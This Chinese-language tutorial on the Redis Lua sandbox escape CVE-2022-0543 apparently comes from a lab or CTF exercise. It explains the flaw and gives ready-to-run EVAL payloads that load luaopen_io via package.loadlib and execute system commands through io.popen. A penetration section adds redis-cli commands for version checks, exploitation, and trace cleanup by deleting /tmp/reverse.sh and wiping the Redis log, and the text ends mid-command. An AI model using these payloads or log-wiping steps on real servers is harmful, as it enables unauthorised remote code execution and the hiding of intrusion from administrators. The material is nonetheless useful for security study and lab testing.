Redis沙盒逃逸(CVE-2022-0543)

Redis沙盒逃逸(CVE-2022-0543)

一.沙箱的含义

沙箱是一种安全机制,限制程序只能访问特定资源,防止恶意操作影响系统。

场景

沙箱作用

浏览器沙箱

网页代码只能操作浏览器,无法直接读写本地文件

游戏沙箱

外挂程序无法修改游戏内存

Redis Lua 沙箱

Lua 脚本无法执行系统命令、访问文件系统

关系图

物理机

├── 容器 A(Docker)

│ └── Redis 进程

│ └── Lua 沙箱 ←── 你的漏洞在这层突破

│ └── 恶意脚本(理论上只能操作 Redis)

└── 容器 B(其他应用)

1.什么是redis

Redis,英文全称是Remote Dictionary Server(远程字典服务),是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。

与MySQL数据库不同的是,Redis的数据是存在内存中的。它的读写速度非常快,每秒可以处理超过10万次读写操作。因此redis被广泛应用于缓存,另外,Redis也经常用来做分布式锁。除此之外,Redis支持事务、持久化、LUA 脚本、LRU 驱动事件、多种集群方案。

2.春秋

这里可以进行ssrf,跳转到baidu页面

直接使用file://协议进行读取flag

3.漏洞复现

漏洞原理

该漏洞的存在是因为Debian/Ubuntu中的Lua库是作为动态库提供的。自动填充了一个package变量,该变量又允许访问任意 Lua 功能。

我们借助Lua沙箱中遗留的变量package的loadlib函数来加载动态链接库/usr/lib/x86_64-linugnu/liblua5.1.so.0里的导出函数luaopen_io。在Lua中执行这个导出函数,即可获得io库,再使用其执行命令:

Redis 5.0.7 的 Lua 沙箱

├── 禁用了 io/os 等危险库(loadlib 被限制)

└── 但漏洞:package.loadlib() 仍可加载外部动态库

攻击路径:

package.loadlib() → 加载系统 liblua5.1.so → 导出 luaopen_io

→ 获得 io.popen() → 执行任意系统命令

复现

payload:

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

代码片段

作用

local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io")

加载系统 Lua 库,获取luaopen_io函数(沙箱禁用的危险函数)

local io = io_l()

调用函数初始化 IO 模块,获得io.popen等危险方法

local f = io.popen("id", "r")

执行系统命令id,返回文件句柄

local res = f:read("*a")

读取命令全部输出

f:close()

关闭文件句柄

return res

将结果返回给 Redis 客户端

0

声明脚本操作 0 个 Redis 键(绕过键名检查)

修改红色部分就可以执行命令了

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("whoami"); local res = f:read("*a"); f:close(); return res' 0

关键风险点

要素

说明

无需认证

Redis 未设置密码或已认证

远程 RCE

网络可达即可执行系统命令

服务权限

通常以redis用户运行,但可尝试提权

隐蔽性

利用 Lua 脚本,不写入磁盘

二.实战渗透

1.信息收集

# 确认目标存在且版本 vulnerable redis-cli -h 192.168.40.128 -p 6379 INFO server | grep redis_version # 期望:5.0.7 或 5.0.6 等 < 5.0.8 的版本

2.验证漏洞存在

redis-cli -h 192.168.40.128 -p 6379 EVAL 'return "test"' 0 # 确保 EVAL 命令可用,Lua 引擎正常

3.漏洞利用

redis-cli -h 192.168.40.128 -p 6379 EVAL ' local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res ' 0

4.清理痕迹

# 删除临时文件 EVAL '... io.popen("rm -f /tmp/reverse.sh") ...' 0 # 清空 Redis 日志(如有权限) EVAL '... io.popen("echo > /var/log/redis/redis-server.log 2>/dev/null") ..